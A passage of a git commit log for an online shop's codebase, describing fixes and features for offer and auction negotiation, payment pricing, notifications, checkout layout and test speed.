     existing send_purchase_email + send_sale_email pair
   - views/webhooks.py x4 (PayPal capture / approved / Stripe / Adyen)
   - lib/crypto_watcher/__init__.py x3 (Monero / Dogecoin / confirmed
     duplicate-path) — gated on the existing sales_email_sent flag so
     a rescan can't write duplicate rows
   Each notification carries invoice_id, so MpsNotification.breadcrumbs
   walks Shop → Product (first line item) → Invoice (/i/<id>).

2. Auction outbid: when a new bid lands and the prior bidder is
   bumped, alongside send_auction_outbid_email the prior bidder gets
   a row with auction_id set — breadcrumbs walk Shop → Product →
   Auction (/a/<id>).

3. Read rows stay visible. Fox's clarification: mark-read must not
   delete; just fade. The row stays in the list (still clickable,
   breadcrumb still works); only the unread accent class and the
   opacity differ. Tokens: .notification-row has opacity 0.65;
   .notification-row-unread overrides to 1 + alert-info-bg +
   left accent border. test_read_notifications_remain_visible_but_faded
   asserts the row count stays the same in DB and the rendered
   subject is still in the HTML after dismiss.

Shared orchestration in new lib/notifications.py — notify_purchase_and_sale
and notify_auction_outbid keep the call sites to one line each.

3 new functional tests, 108/108 in the offer/auction/cart sweep.
 2026-05-14 10:22:04 -04:00
russell@unturf.com
236763b329
feat: in-app notifications with badge, list page, and breadcrumb backlinks 
Every transactional email on the offer state machine now also drops a
row in a new mps_notification table — the user has a permanent in-app
inbox even if they never opened the email.

Schema (mps_notification, migration 5d01b163b805):
- user_id           recipient
- shop_id           which shop this is about (nullable)
- kind              discriminator (offer_received, offer_accepted,
                    offer_countered, offer_declined, offer_withdrawn,
                    offer_buyer_cancelled, purchase, sale,
                    auction_outbid)
- subject, body     denormalized text so deleting the source entity
                    doesn't blank the row
- link_url          primary click-through (/o/<id>, /a/<id>, /i/<id>)
- offer_id, auction_id, invoice_id
                    optional FKs for breadcrumb rendering
- created/updated_timestamp
- read              bool, drives the unread badge
- read_timestamp
Composite index on (user_id, read, created_timestamp) for cheap
unread-count queries.

Surfaces:
- request.unread_notification_count (reified) drives a navbar badge
  next to the profile name and a duplicate badge on the /u/settings
  "Notifications" button.
- /u/notifications lists rows newest-first with the kind label, time
  delta (ago.human), subject/body, and a breadcrumb chain back to
  source entities. MpsNotification.breadcrumbs walks shop → product
  → offer/auction/invoice for any combination of attached FKs.
- /u/notifications/{id}/read marks a single row read; bulk
  "Mark all read" on the list page hits /u/notifications/read-all.

Wired into every offer state transition (open, counter, accept,
decline, withdraw, buyer-cancel) alongside the existing email sends.
_safe_email and notification persist are now decoupled — SMTP outages
no longer block notification creation. (This was the regression the
new TestNotifications suite caught: pre-fix, a refused SMTP swallowed
the notification persist call too.)

Tokenized CSS for the badge (.notification-badge pill, danger color)
and the list rows (.notification-row, .notification-row-unread with
left accent border, .notification-row-breadcrumbs trail). Grid only,
no flex, no inline styles.

Tests TestNotifications.test_offer_open_drops_received_notification_for_seller
and test_badge_count_and_mark_read drive the full flow: buyer opens
offer → seller's row exists with breadcrumbs (Shop → Product → Offer)
→ /u/settings badge renders → /u/notifications/read-all clears.
 2026-05-14 09:54:24 -04:00
russell@unturf.com
9dc6b7be81
feat: email both parties on every offer state transition 
Previously the only emails on the offer state machine were:
  - PENDING → seller (offer received)
  - auto-accept / seller-accept → buyer (offer accepted)
  - cart paid → buyer + seller (purchase / sale)

Every other transition was silent — buyer countered, seller
countered, seller manually declined, buyer withdrew before accept,
buyer cancelled after accept. The buyer-cancelled-after-accept case
stung most: the seller had accepted and was awaiting payment that
was never coming, with no notice except by polling /s/<shop>/offers.

Five gap-plugs:

1. Buyer counters back → seller(s) emailed (all shop owners).
2. Seller counters → buyer emailed.
3. Seller manually declines → buyer emailed. (auto-decline stays
   silent — the submit flash already conveys it inline.)
4. Buyer withdraws (pre-accept) → seller(s) emailed.
5. Buyer cancels (post-accept) → seller(s) emailed with explicit
   "buyer cancelled accepted offer" copy so the seller stops
   expecting payment.

Templates: OFFER_COUNTERED_{TEXT,HTML}, OFFER_DECLINED_{TEXT,HTML},
OFFER_WITHDRAWN_{TEXT,HTML}, OFFER_BUYER_CANCELLED_{TEXT,HTML} in
lib/mail_messages.py.

Helpers: send_offer_countered_email, send_offer_declined_email,
send_offer_withdrawn_email, send_offer_buyer_cancelled_email in
lib/mail.py — same pattern as send_offer_received_email +
send_offer_accepted_email.

Each handler in views/offer.py snapshots the pre-action state, runs
the action, and only emails on the actual transition (so a retried
POST against an already-terminal offer doesn't re-fire the email).
All sends go through _safe_email which logs + swallows exceptions:
mail failure cannot 500 an offer-state HTTP response.
 2026-05-14 09:21:23 -04:00
russell@unturf.com
7870c9425e
fix: dedupe flash messages — render-level + request.flash_once helper 
Crypto status-poll endpoints flashed "Payment received! Waiting for
confirmations…" on every refresh while a quote was in the
received-but-not-confirmed state. The flash queue is a list, so
identical alerts piled up — fox's screenshot showed the same line
repeated 18+ times stacked down the page.

Two-layer fix:

1. Render-level dedupe in templates/snippets/flash-alerts.j2.
   Pop the queue once, walk it, render each unique (message, level)
   pair only the first time it's seen. Safe regardless of how the
   queue was populated — covers any other view that might flash
   duplicates without the helper.

2. New request.flash_once(message, level) helper (request_methods.py)
   that peeks the queue and skips the append if (message, level) is
   already there. Switch the two crypto status-poll handlers
   (views/crypto.py — Monero block ~820, Dogecoin block ~910) to use
   it. Both endpoints are hit on every poll, so the queue-level
   dedupe matters even with render-level dedupe (other consumers of
   the queue would still see duplicates, and the queue would balloon).

The flash queue itself stays a list (order-preserving) — set would
lose insertion order, which matters when multiple distinct alerts
need to render top-to-bottom. The peek-then-skip pattern keeps the
list semantics while preventing dup growth.
 2026-05-13 20:00:54 -04:00
russell@unturf.com
89156a5d6c
fix: invoices charge negotiated price, not list (Stripe/PayPal/Monero/DOGE) 
CRITICAL financial defect. Cart UI showed the negotiated $21 total
for an accepted offer (list was $42), but EVERY payment pipeline —
Stripe (cart.py:848), PayPal (cart.py:1164), Monero quote
(crypto.py:269), Dogecoin quote (crypto.py:538) — pulled
invoice.total_in_cents, which summed line items and ignored the
cart_offer / cart_auction override entirely. Buyer's DOGE quote
asked for ~373 DOGE (≈$42 USD) for an offer they negotiated to $21.
Seller would have eaten $21 per accepted offer.

Fix:

- New column mps_invoice.negotiation_override_in_cents (nullable
  BigInteger). Migration 27bc1bfc33dc adds it idempotently.
- Invoice.total_in_cents short-circuits to the override + handling
  when the column is set. Coupons / discount math is bypassed (the
  buyer already negotiated; we don't stack on top).
- Invoice.apply_cart_negotiation(cart) helper copies the cart's
  override onto the invoice in one call. Idempotent. No-op for
  non-negotiated carts.
- Wired into every invoice-from-cart construction site (7 total):
  - views/crypto.py:161 (Monero quote)
  - views/crypto.py:454 (Dogecoin quote — fox's screenshot)
  - views/cart.py:827 (Stripe checkout)
  - views/cart.py:974 (PayPal create-order)
  - views/cart.py:1153 (Adyen sessions)
  - views/cart.py:1258 (PayPal complete-checkout)
  - views/cart.py:1388 (post-PayPal-approval finalize)

Two integration tests cover the model:
- test_negotiation_override_short_circuits_total walks the
  invoice-from-negotiated-cart flow, asserts $42 → $21 transition
  after apply_cart_negotiation, and confirms handling still adds
  on top.
- test_apply_cart_negotiation_noop_when_not_negotiated proves the
  helper is safe to call on plain carts (no negotiation_override
  set, line items sum normally).

Legacy invoices already in the DB have NULL on the new column —
they keep their line-item-summed totals, untouched.
 2026-05-13 18:29:50 -04:00
russell@unturf.com
309fae3a61
fix: offers/bids inbox polish + cart-checkout spacing + Pay/Cancel row 
Three UI fixes batched (all touched adjacent templates):

1. /u/offers, /u/bids, and /s/{shop}/offers tables were cramped on
   desktop: max-width was the .one-column 600px constraint, so the
   Product column word-wrapped and timestamps wrapped onto multiple
   lines. Widen .shop-offers-page to 1100px on desktop, give
   Product the auto-flow column and tag the rest with .col-narrow
   (nowrap) / .col-action (right-aligned). Replace strftime UTC
   strings with ago.human() relative deltas ("2 hours ago",
   "5 minutes ago") in the three views that feed those tables.
   Mobile (<720px) collapses each row to a block list — the dense
   table layout is desktop-only.

2. /u/cart/{id}/checkout had a visible gap between the
   "Pay with Credit Card — Add Card" CTA and the PayPal button —
   a redundant <br/> at the top of the PayPal block. Drop it; the
   buttons' own margins now space them naturally.

3. Buyer's accepted-offer pay panel had Pay and Cancel stacked
   vertically with Cancel rendered as a faint text link. Per fox:
   put them on the same line, Cancel on the left. New
   .offer-pay-cta-actions grid (auto 1fr) renders Cancel as a
   neutral mps-button at start, Pay as the green primary at end.
   Stacks on viewports under 600px.

All token-driven CSS, Grid only (no flexbox), no inline styles.
 2026-05-13 18:22:20 -04:00
russell@unturf.com
2067961a64
fix(tests): update accepted-offer assertion to match removed banner 
CI on commit 5272988 (drop orphaned green "Offer accepted" banner)
broke one stray assertion in TestOfferRoutes that still searched for
the removed string. Update the test to assert on the surfaces that
DO carry the state now:

- the offer-state-badge with class offer-state-1 (visible "Accepted")
- the Pay $96.00 now CTA (the actual call to action)
- the /o/{id}/checkout form action

Same intent, current markup.
 2026-05-13 17:10:11 -04:00
russell@unturf.com
36bb6b2ea6
fix: disable Add To Cart on product page when active cart is negotiated 
The server-side guards on /cart/add and /cart/{id}/quantity stop the
exploit, but the buyer still saw an enabled "Add To Cart" button that
bounced them. Per fox: disable the button with a one-sentence caption
explaining why, instead of hiding it. A hidden button confuses users;
a disabled one with caption keeps the affordance visible and teaches
the user how to re-enable it (check out or save the current cart).

product.j2 now:
- Adds `disabled` to both Add To Cart buttons (physical + digital
  paths) when `request.active_cart and request.active_cart.is_negotiated`.
- Renders a `.product-add-disabled-note` paragraph beneath with the
  reason: "Your active cart is locked to an accepted offer/auction.
  Save or check out that cart before adding other items."

Token-driven CSS for the caption (no inline styles, no hardcoded
colors). The button keeps its mps-button styling — browser disabled
state is sufficient visual contrast.

Test test_product_page_disables_add_to_cart_on_negotiated_cart walks
the realistic flow: buyer accepts an offer on product A, then visits
product B (a separate buy-now product on the same shop) and sees the
button disabled with the caption.
 2026-05-13 16:50:27 -04:00
russell@unturf.com
cb9b3df0cf
fix: lock negotiated cart quantity — refuse /cart/add + quantity bump 
The cart override returns offer.current_amount_in_cents regardless
of line-item quantity. So a buyer who:
  1. Got an offer accepted at $21 (list $42)
  2. Hit /o/{id}/checkout → got a cart with 1 unit + cart_offer
  3. Went back to the product page and clicked "Add to cart"
…would end up with a cart showing 2 units of a $42 product but
charged the single negotiated $21. Seller eats $84 of merch for $21.
Same hole on /cart/{id}/quantity — bumping quantity directly skipped
the override re-check.

Plug both:
- cart_add_product refuses when active_cart.is_negotiated. Flashes
  "This cart is locked to your accepted offer/auction — save or
  check out this cart before adding other items."
- cart_quantity_product refuses when cart.is_negotiated. Flashes
  "Quantity is locked on an accepted offer/auction — the agreed
  price is for one unit only."

Two regression tests cover the gap: one POSTs /cart/add of the same
product, one POSTs /cart/{id}/quantity setting quantity=2. Both
assert cart.get_product_quantity(product) stays at 1 and the
response flashes "locked".

UI tightening (hiding the add-to-cart button on the product page
when the active cart is already negotiated to a different product)
is a follow-up — this commit is the server-side defense.
 2026-05-13 16:43:16 -04:00
russell@unturf.com
527298874e
fix: drop redundant green "Offer accepted" banner on offer page 
The ACCEPTED state-notice alert floated between the offer-header
well and the offer-pay-cta well — a green stripe in the middle of
the page with nothing visually anchoring it. Worse, the message it
carried duplicated content the next block already showed:

- Buyer: the "Pay $X now" CTA right below is itself the call to
  action. "Offer accepted — pay now to complete your purchase" was
  noise on top.
- Seller: the "Awaiting payment" well right below already names the
  buyer + amount and explains the auto-email + share link.

Drop the is_accepted branch. The state badge in the offer header
still shows "Accepted" — so the state is never invisible — and the
pay / awaiting blocks carry the per-role copy.

Other state-notice alerts (DECLINED, WITHDRAWN, EXPIRED, PAID,
can_act, is_open) stay — they're useful precisely because their
states have no follow-on action block.
 2026-05-13 16:38:53 -04:00
russell@unturf.com
c383c41f92
chore: stop tracking GIT_HASH — setup.py owns it at install time 
Each feature commit was being followed by a "bump GIT_HASH to X"
commit whose value was always one behind HEAD (the bump itself
shifted HEAD again). The file in git was effectively a stale
record that setup.py overwrote on every CI install anyway via
`git rev-parse --short HEAD`. Pure churn — half the commit log
was these bump commits.

Untrack the file, .gitignore it, drop the bump from CLAUDE.md's
AUTO-PUSH and post-work-chores guidance. setup.py keeps writing
the real HEAD at install; views/version.py still reads it. The
/version endpoint behavior is unchanged — it just stops requiring
a follow-up commit per ship.
 2026-05-13 14:11:48 -04:00
russell@unturf.com
3133ab24f1
bump GIT_HASH to becd6e3 2026-05-13 14:02:57 -04:00
russell@unturf.com
becd6e359f
fix: tighten default offer-expiration window from 7 days to 48 hours 
7 days for a seller to even respond to a buyer's offer was too
generous. eBay-style Best Offer caps at 48 hours; nobody enjoys
waiting a week to find out their offer is dead.

Change is purely the new-shop default — existing shops keep
whatever their offer_expiration_hours column is set to. Operators
can tighten or widen via the offer-settings form on their shop
settings page.

(Default-to-default coverage in test_integration.py updated to
match.)
 2026-05-13 14:02:50 -04:00
russell@unturf.com
fc02c8189c
bump GIT_HASH to 762462a 2026-05-13 13:38:38 -04:00
russell@unturf.com
762462a16c
feat: separate "respond" countdown on PENDING/COUNTERED offers 
The offer page already showed a pay-by countdown once the offer
was ACCEPTED. The negotiation window (pre-acceptance) had a
deadline server-side (offer.expires_timestamp) but no countdown
in the UI — buyers and sellers had to guess how long they had to
respond.

offer_page view now exposes respond_deadline_human (ago.human)
and respond_deadline_timestamp_ms alongside the existing pay
deadline pair. offer.j2 surfaces it in two places:

- "Your turn" panel: "Respond in 5 days, 12 hours, or this offer
   auto-expires." (the user is the current_party, can act).
- "Waiting on the other party" panel: "They have in 5 days, 12
   hours to respond, or this offer auto-expires." (the other
   party owes the next move).

Both render through the same [data-pay-deadline] attribute the
existing ticker scans — the surrounding copy disambiguates
respond-vs-pay. One countdown shape, two semantic uses, depending
on state.

Regression test test_pending_offer_renders_respond_countdown locks
in the markup (PENDING offer, seller view, "Respond" + the regex
for the prose ago.human() output).
 2026-05-13 13:38:32 -04:00
russell@unturf.com
fedd6abe35
bump GIT_HASH to 0c0258f 2026-05-13 13:35:44 -04:00
russell@unturf.com
0c0258f9bb
fix: legacy offer countdown + add countdown to cart page 
Two coupled fixes the live shop.unturf.com data exposed:

1. Legacy accepted offers (those flipped to ACCEPTED before the
   accepted_timestamp column existed) have NULL there, so
   acceptance_pay_deadline_ms returned None and the countdown never
   rendered. Fall back to last_action_timestamp — for an
   untouched-since-acceptance offer that IS the moment of acceptance
   (the accept event was the last action recorded). Also guard the
   property to only return a deadline when state == ACCEPTED, so
   PAID / EXPIRED / WITHDRAWN offers don't accidentally surface
   stale deadlines.

2. Cart page (/cart/{id}) had no countdown — the buyer landed in
   the cart from the offer accept email, saw the agreed price, but
   no live indicator of when this deal expires. Cart.negotiation_pay_
   deadline_ms exposes the linked offer or auction's deadline;
   cart.negotiation_pay_deadline_human renders ago.human() for the
   no-JS fallback. cart.j2 adds a "Pay <strong>in 23 hours, 14
   minutes</strong>, or this offer expires." line inside the green
   negotiation card.

Pulled the countdown tick out of offer.js into a shared
static/js/pay-countdown.js so cart.j2 can include just the ticker
without pulling the offer-detail form wiring it doesn't need.
Other pages still load their own JS — offer.js and auction.js keep
their own implementations for now; this is the cart-page addition.
 2026-05-13 13:35:38 -04:00
russell@unturf.com
764e0ae1ef
bump GIT_HASH to 7ce8e54 2026-05-13 13:31:14 -04:00
russell@unturf.com
7ce8e5431c
fix: My Offers button respects per-product allow_offers override 
Shop.offer_enabled is the shop-level *default* — products can override
via allow_offers=True even when the shop default is off. The original
button gate on /u/settings only checked the shop-level flag, so a
buyer in a shop with offer_enabled=False but at least one product
opting in via allow_offers=True saw no button.

Add Shop.has_offer_products mirroring has_auction_products, but
accounting for the override:

  product accepts offers iff
      product.allow_offers IS TRUE
      OR (product.allow_offers IS NULL AND shop.offer_enabled IS TRUE)

Wire user_settings.j2 to gate on has_offer_products, and update the
/u/offers view's 404 guard to the same property — otherwise the
button appeared but the page 404'd.

Tests:
- test_shop_has_offer_products_property covers the four-cell matrix
  (shop default × product override).
- test_settings_offers_button_for_product_level_opt_in is the
  regression for the case fox hit on shop.unturf.com.
 2026-05-13 13:31:08 -04:00
russell@unturf.com
a7d9577631
bump GIT_HASH to cea6c39 2026-05-13 13:25:27 -04:00
russell@unturf.com
cea6c398cd
fix(checkout): move PayPal save toggle below button, footnote at bottom 
Two reorderings on the cart checkout right column:

1. The "Save PayPal for faster checkout next time" checkbox now lives
   *under* the PayPal button instead of above it. The primary action
   (the yellow PayPal button) stays at the top of the panel; the
   secondary toggle (remember this method?) follows. Saved-PayPal
   buyers see a "PayPal saved for quick checkout" banner above the
   button instead.

2. The "You can manage saved payment methods…" copy was inline under
   the checkbox. It's now a footnote at the bottom of the right
   column, with "account settings" linking to /billing — the actual
   surface where the user can disconnect PayPal or manage cards.
   Lives outside the save-toggle branch so saved-PayPal users see it
   too (they may want to disconnect from there).

Cleanup:
- All inline styles on the saved-banner / save-checkbox replaced
  with tokenized .cart-paypal-saved-banner / .cart-paypal-save-row /
  .cart-paypal-save-label / .cart-paypal-saved-check /
  .cart-paypal-manage-note classes. Grid only, design tokens only.
 2026-05-13 13:25:20 -04:00
russell@unturf.com
62e65beff6
bump GIT_HASH to e77784c 2026-05-13 13:06:44 -04:00
russell@unturf.com
e77784cd61
fix: pay-by countdown reads as human time delta, not UTC wall-clock 
Replaces the previous "2026-05-14 11:00 UTC" deadline strings and
the secondary "23h 14m 8s remaining" pill with a single in-place
prose delta on both offer and auction pages.

Server (no-JS fallback): ago.human(deadline, future_tense="in {}")
renders "in 23 hours, 14 minutes". Reaches for the same precision
the buyer cares about, in their reading style, without a wall-clock
string to mentally subtract from. Same library Russell Ballestrini
wrote — public domain, already a dep.

Client (JS-enhanced): offer.js / auction.js rewrite the same
<strong data-pay-deadline="..."> element once per second with a
prose delta computed locally ("in 23 hours, 14 minutes, 8 seconds").
The previous fmtRemaining returned compact "23h 14m 8s" which read
as code — switched to prose to match the server fallback.

Auction page also drops the dual element (separate countdown chip +
human deadline span); JS rewrites in place so the markup is half
the size.

Test test_accepted_offer_renders_pay_countdown_for_buyer locks in
the new markup: a `data-pay-deadline="…">in N units` regex match.
 2026-05-13 13:06:34 -04:00
russell@unturf.com
61cda404e9
bump GIT_HASH to b27c074 2026-05-13 13:01:18 -04:00
russell@unturf.com
b27c0748a6
feat: live pay-by countdown on offer + auction pages (JS-enhanced) 
When JS is available, the buyer now sees a live countdown next to the
absolute pay-by date on both the accepted-offer page and the
auction-won page. Without JS, the existing static "You have until
<date>" copy still renders — the countdown element is .js-only.

Offer (/o/{id}):
- offer_page view now exposes pay_deadline_timestamp_ms alongside the
  human string.
- offer.j2 adds a [data-pay-deadline] span next to the deadline copy
  on both the buyer (pay-now) and seller (awaiting-payment) sides.
- offer.js scans for [data-pay-deadline] every second and writes the
  formatted remaining time into .offer-pay-countdown-value. Reuses the
  same fmtRemaining shape as auction.js (Nd Nh Nm / Nh Nm Ns / Nm Ns).

Auction (/a/{id}):
- _serialize_auction adds payment_deadline_timestamp, user_is_winner,
  and is_settled.
- auction.j2 renders a new "You won this auction!" well when state is
  ENDED, the current user is the winner, the auction isn't SETTLED,
  and payment_deadline_timestamp is set. The well carries the pay
  button + a countdown that auction.js fills in. The human deadline
  is also resolved client-side (toLocaleString) so the buyer sees
  it in their own timezone.
- auction.js adds tickPayCountdown() in addition to the existing
  tickCountdown() that counts auction end.

Test fixture _accepted_offer now sets offer.accepted_timestamp (the
fixture bypasses accept_offer() which would set it for free).
test_accepted_offer_renders_pay_countdown_for_buyer locks in the
markup.
 2026-05-13 13:01:11 -04:00
russell@unturf.com
cd1ede638c
bump GIT_HASH to c5e966c 2026-05-13 12:33:55 -04:00
russell@unturf.com
c5e966c33b
perf(tests): boot app + schema once per worker, wipe rows per test 
Test suite hit GitLab's 1-hour pipeline timeout (58:41) — the test
step alone exceeded the cap and the deploy step never ran. Root cause
was per-test infrastructure cost:

- FunctionalTests.setUp/tearDown rebuilt the entire WSGI app and ran
  Base.metadata.create_all + drop_all for *every* test. Measured at
  ~640ms of pure DDL per test (36 tables + indexes); the app boot adds
  another ~400ms. ~1s of overhead per test before the test body even
  starts.
- DatabaseIntegrationTests had the same pattern.

Fix: lift app + engine + schema to classmethods that run *once per
worker process*. Per-test setUp now just hands the shared infra to
instance attrs and creates a fresh webtest.TestApp + dbsession.
Per-test tearDown aborts the pyramid_tm txn and wipes every row via
table.delete() in reverse FK order, with PRAGMA foreign_keys OFF
around the wipe so we don't have to compute a safe order for
circular refs.

Class-level state lives on FunctionalTests / DatabaseIntegrationTests
themselves (not `cls`) so all subclasses see the same instances on
attribute lookup. pytest-xdist worker isolation is unchanged — each
worker has its own sqlite file (conftest.py) and its own Python
process, so the class-level cache is per-worker.

Local timings (8 cores, -n auto):
- test_functional.py: 3:30 → 2:14   (36% faster, 291/291 pass)
- full suite:         ~7m → 3:49    (1012/1012 pass)

On CI (fewer cores), expected to drop from 58:41 to roughly
25-30 min — well under the 1h pipeline cap.
 2026-05-13 12:33:44 -04:00
russell@unturf.com
ffdcbf41d5
bump GIT_HASH to 10074a1 2026-05-13 11:06:39 -04:00
russell@unturf.com
10074a1d20
fix: redesign /billing layout with design tokens + grid 
The page was using the .two-column class (designed for the product
page mobile stack) which left the Stripe Element floating to the
right with massive whitespace and orphaned Review Order / Checkout
buttons disconnected from the content above. Inline styles all over
the PayPal section meant no token consumption.

Rebuild:
- New .billing-page wrapper, max-width 1000px, centered, CSS Grid.
- Active Card + Add Card now sit in a .settings-form-grid (1 col
  mobile, 2 cols desktop) so they align as equal-width siblings.
  Heading copy adapts: "Add a Card" when no card on file, "Add
  Another Card" when there is one.
- PayPal section moved to its own full-width well below; inline
  styles replaced with tokenized .billing-paypal-card,
  .billing-paypal-header, .billing-meta classes. Grid only.
- Review Order + Checkout buttons land in a .billing-actions well
  centered as a 2-col grid; Checkout is the green primary CTA.
  Collapses to a single stretched column on mobile.

No design system tokens are hard-coded — every color, gap, radius,
and font size pulls from tokens.css. CSS Grid only, no flexbox.
 2026-05-13 11:06:33 -04:00
russell@unturf.com
7b7d643b15
bump GIT_HASH to 8633470 2026-05-13 10:59:13 -04:00
russell@unturf.com
8633470a65
fix: hide checkout left column when there's nothing to put in it 
The left column used to always render when stripe was enabled and the
shop was stripe-ready, even when the buyer had no card on file —
showing a duplicate "Add a credit card payment method" CTA next to the
right-column "Pay with Credit Card — Add Card" button. Two identical
CTAs in two columns read as a broken page.

Left column now renders only when it has concrete content:
- an Active Card to display, or
- an Active Shipping Address for a physical product in the cart.

Otherwise the page collapses to a centered single column (the CSS
:has(.checkout-left) selector already handled this layout case).

Existing assertion test_cart_checkout_for_shop now also asserts the
left-column "no card configured" copy no longer appears.
 2026-05-13 10:59:00 -04:00
russell@unturf.com
c06be6b37d
bump GIT_HASH to 73c36e6 2026-05-13 10:31:49 -04:00
russell@unturf.com
73c36e6f36
feat: buyer can cancel accepted offer; post-accept pay window 
Two coupled additions to make-an-offer:

1. Buyer back-out after acceptance. New terminal state
   OFFER_STATE_BUYER_CANCELLED, route POST /o/{id}/cancel, and
   lib/offer.cancel_offer_after_accept(). Distinct from WITHDRAWN
   (which is pre-acceptance buyer pullout) so seller's inbox can
   visually distinguish "they ghosted after acceptance" from "they
   pulled it before I responded." Confirm dialog on the button —
   it's a destructive action.

2. Post-acceptance pay window. New shop-level setting
   offer_acceptance_payment_hours (default 24h, configurable in
   offer-settings form) bounds how long the buyer has to pay
   after acceptance. accept_offer() (both manual and auto-accept)
   stamps offer.accepted_timestamp; offer.acceptance_pay_deadline_ms
   is derived. offer_tick now expires ACCEPTED-but-unpaid offers past
   their deadline alongside the existing PENDING/COUNTERED expiry.

The offer detail page now shows the deadline to both buyer and seller,
and gives the buyer a "Cancel this offer" button alongside the pay-now
CTA.

Migration 632878c8f243 adds the two columns idempotently
(offer_acceptance_payment_hours on mps_shop, accepted_timestamp on
mps_offer). Existing accepted offers have accepted_timestamp = NULL;
the tick treats NULL as "no deadline" so legacy rows aren't
suddenly expired.

Tests:
- test_accepted_offer_expires_after_pay_window (integration)
- test_accepted_offer_inside_pay_window_not_touched (integration)
- test_buyer_cancel_after_accept_flips_state (integration, includes
  the paid-offer-cannot-be-cancelled guard)
- test_buyer_can_cancel_accepted_offer (functional)
- test_seller_cannot_cancel_accepted_offer (functional)
 2026-05-13 10:31:43 -04:00
russell@unturf.com
87d054e7e8
bump GIT_HASH to 2e1bde3 2026-05-13 10:20:41 -04:00
russell@unturf.com
2e1bde37d3
fix: single PayPal button on checkout; Stripe stays visible 
Cart checkout had two payment-UX defects:

1. PayPal Smart Buttons rendered three buttons by default: the yellow
   PayPal button, "Pay Later" financing, and "Debit or Credit Card"
   (PayPal-branded card flow). For MPS, credit-card checkout goes
   through Stripe — the PayPal card button is redundant and pushes a
   competing flow into the same panel.
   Fix: append `disable-funding=paylater,card` to the PayPal SDK URL
   so only the single PayPal Smart Button renders.

2. Stripe lost visibility on the right column when the buyer had no
   card on file yet. The "Add a credit card payment method" CTA only
   appeared in the left panel; next to PayPal + crypto on the right,
   the credit-card path looked unsupported.
   Fix: when stripe is enabled and the shop is stripe-ready but the
   buyer has no active card, surface a "Pay with Credit Card — Add
   Card" CTA in the right column, alongside the PayPal Smart Button.
   /billing then runs the existing card-add flow.

Tests:
- test_cart_checkout_for_shop asserts "Pay with Credit Card" renders
  in the right column when no card is on file.
- test_paypal_smart_buttons_collapsed_to_one is a template-grep
  asserting the SDK URL carries disable-funding=paylater,card.
 2026-05-13 10:20:34 -04:00
russell@unturf.com
9c68971971
bump GIT_HASH to 7dc82dd 2026-05-13 10:09:22 -04:00
russell@unturf.com
7dc82dda50
fix: offer checkout is one-shot; seller copy says so 
Two coupled fixes on the accepted-offer flow:

1. Single redemption. offer_checkout was creating a fresh cart on
   every POST. While offer.state == ACCEPTED, a buyer could spawn N
   parallel carts on one offer; mark_paid is idempotent on the offer
   but the *other* carts still carried the override and could each
   complete checkout, double-charging the buyer. Now: if any
   cart_offer already exists for the offer, reuse that cart (and
   re-activate it). Only one cart_offer row can ever exist per offer.

2. Seller copy on the "Awaiting payment" panel said "they need to
   sign in and pay from this same page — send them the link", which
   implied the seller had to manually deliver the link. The system
   already emails the buyer on accept (send_offer_accepted_email is
   wired in views/offer.py for both auto-accept and manual paths).
   The copy now reflects that: "We emailed them a one-time checkout
   link — this offer can be redeemed only once." The shareable link
   stays as a fallback for if the buyer asks for it again.

Functional test test_offer_checkout_is_single_redemption asserts
three consecutive POSTs to /o/{id}/checkout redirect to the same
cart URL and produce exactly one cart_offer row. Existing
test_accepted_offer_seller_sees_pay_link_to_share extended to
assert the new copy ("emailed", "one-time checkout link").
 2026-05-13 10:09:16 -04:00
russell@unturf.com
6827fb8ac9
bump GIT_HASH to 812e116 2026-05-13 09:55:54 -04:00
russell@unturf.com
812e116f50
feat: buyer dashboards — /u/offers + /u/bids — gated per shop 
Two new buyer-side pages mirror /u/purchases — scoped to request.shop,
listing every offer or bid the user has placed within the current shop:

- /u/offers — open offers (pending/countered) on top, terminal below.
  404s when the shop has offer_enabled=False. Wired to user_offers.j2.
- /u/bids — latest bid per auction in this shop. 404s when the shop
  has zero products in auction pricing_mode. Wired to user_bids.j2.

Gating exposed on /u/settings:
- "My Offers" button: visible iff request.shop.offer_enabled is True.
- "My Bids" button:  visible iff request.shop.has_auction_products.

New property Shop.has_auction_products: returns True when the shop
has at least one product with pricing_mode in (1, 2). Auctions have
no shop-level toggle — they're enabled per product — so the buyer
gate is derived. Unit-test coverage in test_integration.py.

Tests:
- TestAuctionFoundation.test_shop_has_auction_products_property
  covers all three pricing-mode transitions on the same shop.
- TestUserOffersBidsDashboards (7 tests) covers 404 paths, page
  renders, and button visibility on plain / offer / auction shops.
 2026-05-13 09:55:46 -04:00
russell@unturf.com
759d98a968
bump GIT_HASH to 2c56717 2026-05-13 08:50:47 -04:00
russell@unturf.com
2c56717579
feat: polished negotiation-aware cart + sandbox-gated user storage 
Cart polish for offer/auction carts:
- Negotiation card at top of cart-left: eyebrow ("Offer accepted" /
  "Auction won"), list price (strike) vs agreed price (bold green),
  savings line, link to /o/{id} or /a/{id}.
- Shop subtotal honors the override: strikethrough list price, bold
  negotiated price. (is_discounted was rightly False after the prior
  fix, but the visual cue was lost — restored without conflating it
  with coupon discounting.)
- Line item rendering: replaces quantity field + remove button with a
  "quantity locked" pill on the negotiated product, since offers and
  auctions are single-unit transactions buyers cannot edit mid-cart.
- Right column total: shows agreed price big, list-vs-savings line
  beneath. No conflicting strikethrough.
- Gift card apply hidden on negotiated carts (does not stack).

New Cart properties (test coverage in test_integration.py):
- is_negotiated, negotiation_kind, negotiation_path, negotiated_product
- list_total_in_cents / list_total
- savings_in_cents / savings (clamped to >= 0)

CSS: cart-negotiation-card / cart-negotiation-* / cart-negotiation-pill
all live in common.css, Grid only, design tokens only.

Sandbox-gated artifact storage:
The Artifact Storage section on /u/settings (S3-compatible bucket for
the in-browser sandbox export feature) now renders only when the
current shop has sandbox_mode enabled. The bucket has exactly one
consumer (views/user_sandbox.py via static/js/sandbox.js), so when
sandbox is off there is no reason to surface the credential form.
Functional test in test_functional.py asserts both states.
 2026-05-13 08:50:35 -04:00
russell@unturf.com
1088805520
bump GIT_HASH to c58b6b2 2026-05-13 07:10:22 -04:00
russell@unturf.com
c58b6b27a7
fix: offer/auction cart charges agreed price, not list price 
total_discounted_price_in_cents summed line items and ignored the
cart_offer / cart_auction override. is_discounted then reported True
(agreed ≠ list), so total_in_cents — what the charge path reads —
returned the list price. UI strikethroughed the agreed price and
charged the list price.

Short-circuit the discounted path on override, the same way
total_price_in_cents does. An offer/auction is a negotiated price,
not a discount, so coupons and gift-card balances do not stack on
top of it.

Extended both override tests to assert total_in_cents,
total_discounted_price_in_cents, and is_discounted — the gap that
let this ship.
